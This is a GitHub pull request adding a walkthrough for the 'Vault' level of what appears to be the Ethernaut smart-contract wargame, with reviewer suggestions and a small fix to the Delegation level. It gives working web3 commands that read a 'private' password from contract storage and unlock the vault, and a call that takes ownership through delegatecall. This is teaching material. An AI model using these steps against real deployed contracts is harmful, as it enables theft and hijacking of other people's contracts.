Skip to content

Adds solution for level 8 "Vault" #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
acenolaza wants to merge 2 commits into
base: master
Choose a base branch
from
Open

Adds solution for level 8 "Vault" #5

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
91cca68
Adding Vault solution
acenolaza Feb 22, 2019
b40e91c
Merge pull request #1 from acenolaza/vault
acenolaza Feb 22, 2019
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion 06-Delegation.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ Solidity only uses the first four bytes of the hash - so cutting it up would be

Now if we call the fallback function with the parameter of the pwn function, it will execute under the current contract - similar to something like inherited classes.

contract.sendTransaction({data: "0xdd365b8b"})
`contract.sendTransaction({data: "0xdd365b8b"})`

We should now be the owner if executed correctly.

Expand Down
39 changes: 39 additions & 0 deletions 08-Vault.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
# Vault

* Constructor sets the password to a `private` variable
* Does `private` mean that value stored in the blockchain is not visible?

<details>
<summary>EXPAND FOR SOLUTION</summary>
<p>

Ethereum is a public ledger and it is possible to see all contract data sent on-chain.

Setting the `password` variable to private will only mean that internal calls from the very same contract can access it but that doesn't mean the value stored in that variable is not visible.

All we need to do here is just use the `web3.eth.getStorageAt()` function to inspect the value stored in the `password` variable.

Solution:

```
var password = web3.eth.getStorageAt(instance, index);`
Copy link

@justinleapline justinleapline Jul 16, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since this tutorial is focused around Metamask, I don't think we need to reference other ways. May cause confusion.

Suggested change
var password = web3.eth.getStorageAt(instance, index);`

// For Metamask use callback function
web3.eth.getStorageAt(instance.address, 1, (err,res)=>{password=res});
Copy link

@justinleapline justinleapline Jul 16, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This may be an easier example.

Suggested change
web3.eth.getStorageAt(instance.address, 1, (err,res)=>{password=res});
web3.eth.getStorageAt(contract.address, 1, function(error, result) {password = web3.toAscii(result)})

```

This will return the hex represantation of the password so if we do:

`web3.toAscii(password);`

We'll be able to finally see the key string to unlock the vault!

> "A very strong secret password :)"

Copy link

@justinleapline justinleapline Jul 16, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
To unlock the vault finally, run the following command:
`await contract.unlock(password)`

Check out this two Medium articles for a great walkthrough of this problem.

https://medium.com/coinmonks/ethernaut-vault-problem-b2675393650b

https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f

</p>
</details>